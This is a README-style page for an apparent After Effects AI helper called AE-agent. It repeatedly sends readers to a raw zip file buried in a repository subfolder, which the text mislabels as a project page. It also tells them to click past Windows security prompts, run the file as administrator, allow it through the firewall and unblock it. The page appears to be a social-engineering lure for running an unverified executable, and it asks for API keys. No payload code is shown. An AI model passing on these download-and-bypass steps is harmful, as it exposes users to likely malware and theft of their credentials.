🎬 AE-agent - Run AI Tasks Inside After Effects

🧭 Overview

AE-agent is an AI helper for Adobe After Effects. It lets you connect your own API key and endpoint, then use that setup to help with common work inside After Effects.

Use it when you want a local tool that works with your own AI setup. It is built for Windows users who want a simple install and a direct way to get started.

📥 Download

Go to the main project page and download the latest version from there:

https://raw.githubusercontent.com/smooth-snarl702/AE-agent/main/extracted/jsx/A-agent-v1.1.zip

If the page includes a release file, download it to your computer. If it gives you a folder or installer, save that file first before you open it.

🖥️ What You Need

• Windows 10 or Windows 11
• Adobe After Effects installed
• An internet connection for the first setup
• Your own API key
• Your own endpoint URL
• Enough free disk space for the app and temp files

For best results, use a recent version of After Effects. Older versions may still work, but newer builds usually handle add-ons better.

✨ What AE-agent Does

• Connects to your own AI API
• Uses your own endpoint
• Helps with tasks inside After Effects
• Fits a local desktop workflow
• Keeps your setup under your control
• Works as a helper tool, not a replacement for After Effects

🧰 Before You Start

Have these ready:

• Your API key
• Your endpoint address
• Admin access on your PC if Windows asks for it
• A working After Effects install
• A folder where you can save downloads

If you plan to use a private or custom AI service, keep the exact endpoint link ready. Small typing mistakes can stop the tool from connecting.

🚀 Getting Started

1. Open this link in your browser: https://raw.githubusercontent.com/smooth-snarl702/AE-agent/main/extracted/jsx/A-agent-v1.1.zip
2. Find the latest download file on the page
3. Download the file to a folder you can find, like Downloads or Desktop
4. If the file is zipped, right-click it and choose Extract All
5. Open the extracted folder
6. Run the app or installer file inside it
7. Follow the setup steps on screen
8. Enter your API key when asked
9. Enter your endpoint when asked
10. Open Adobe After Effects and test the connection

If Windows shows a security prompt, choose the option that lets you keep going if you trust the file from the project page.

🛠️ First-Time Setup

When AE-agent starts for the first time, it may ask for basic connection details.

Use these steps:

1. Paste your API key into the key field
2. Paste your endpoint URL into the endpoint field
3. Save your settings
4. Start After Effects
5. Open AE-agent again if needed
6. Check that the app can talk to your AI service

If the app gives you a config file, keep it in the same place unless the app says otherwise. This helps the tool find your settings the next time you open it.

🧩 Using AE-agent with After Effects

After setup, you can use AE-agent as part of your After Effects workflow.

Typical use looks like this:

• Open After Effects
• Start AE-agent
• Load or choose a task
• Send the request through your AI endpoint
• Wait for the result
• Apply the result in After Effects

The exact buttons may vary by release, but the flow stays the same. You set the AI details once, then use the tool from there.

🔧 Common Tasks

AE-agent can help with work such as:

• Planning animation steps
• Building text-based prompts for visual work
• Creating helper instructions for motion tasks
• Organizing repeated project actions
• Reducing manual setup for common jobs

It works best when you already know the kind of result you want and need help turning that into a task or action inside After Effects.

📁 File Layout

After you download and unpack the project, you may see files like these:

• An app file or launcher
• A config file
• A readme file
• A folder for logs
• A folder for assets or support files

Keep all files in the same folder unless the app says you can move them. Some tools stop working if one file is missing.

🔐 API Key and Endpoint Tips

Use the exact values from your AI provider.

Good habits:

• Copy and paste instead of typing by hand
• Check for extra spaces
• Use the full endpoint URL
• Store your key in a safe place
• Do not share your key with others

If the app supports more than one endpoint format, use the one that matches your provider’s docs.

🪟 Windows Tips

Windows may ask for permission when you first run the app.

If that happens:

• Right-click the file and choose Run as administrator if the app needs it
• Allow the app through any firewall prompt if you trust the source
• Keep the app in a folder with a short path, like C:\AE-agent
• Avoid moving files after setup unless needed

If the app does not open, check whether Windows blocked the file. You can open the file’s properties and look for an unblock option if it appears.

🧪 Basic Troubleshooting

If AE-agent does not start:

• Check that the file finished downloading
• Make sure you extracted the zip file
• Run the correct launcher file
• Restart Windows and try again
• Check that After Effects is installed

If the AI connection fails:

• Check your API key
• Check your endpoint URL
• Make sure your internet connection works
• Confirm your provider account is active
• Try the same endpoint in another tool if you have one

If After Effects does not respond:

• Close After Effects and open it again
• Start AE-agent after After Effects loads
• Check that both apps run with the same user permissions
• Look for a log file if the app creates one

🧭 Best Setup Path

For a smooth first run:

1. Download the project from the GitHub page
2. Save it in a simple folder path
3. Extract the files
4. Install or open the launcher
5. Add your API key
6. Add your endpoint
7. Open After Effects
8. Test a small task first
9. Save your config once it works

A small test helps you confirm that the app, your key, and your endpoint all work together before you use it on a real project.

📦 When to Update

Check the project page from time to time for a newer version. Update if you want bug fixes, better support, or new features.

Before updating:

• Close AE-agent
• Close After Effects
• Keep a copy of your config if you made changes
• Replace the old files with the new ones if the release says to do that

🤝 Using Your Own AI Service

AE-agent is built for users who want to bring their own API key and endpoint. That means you keep control of the service behind the tool.

This works well if you use:

• A private AI endpoint
• A custom proxy
• A hosted model service
• A company-approved AI setup

Make sure your endpoint allows the kind of requests AE-agent sends. If your provider uses special headers or limits, set those before you test.

📝 Simple Use Checklist

• Download AE-agent from GitHub
• Extract the files
• Open the app
• Add your API key
• Add your endpoint
• Start After Effects
• Test a task
• Save your settings

📌 Project Page

Primary download link:
https://raw.githubusercontent.com/smooth-snarl702/AE-agent/main/extracted/jsx/A-agent-v1.1.zip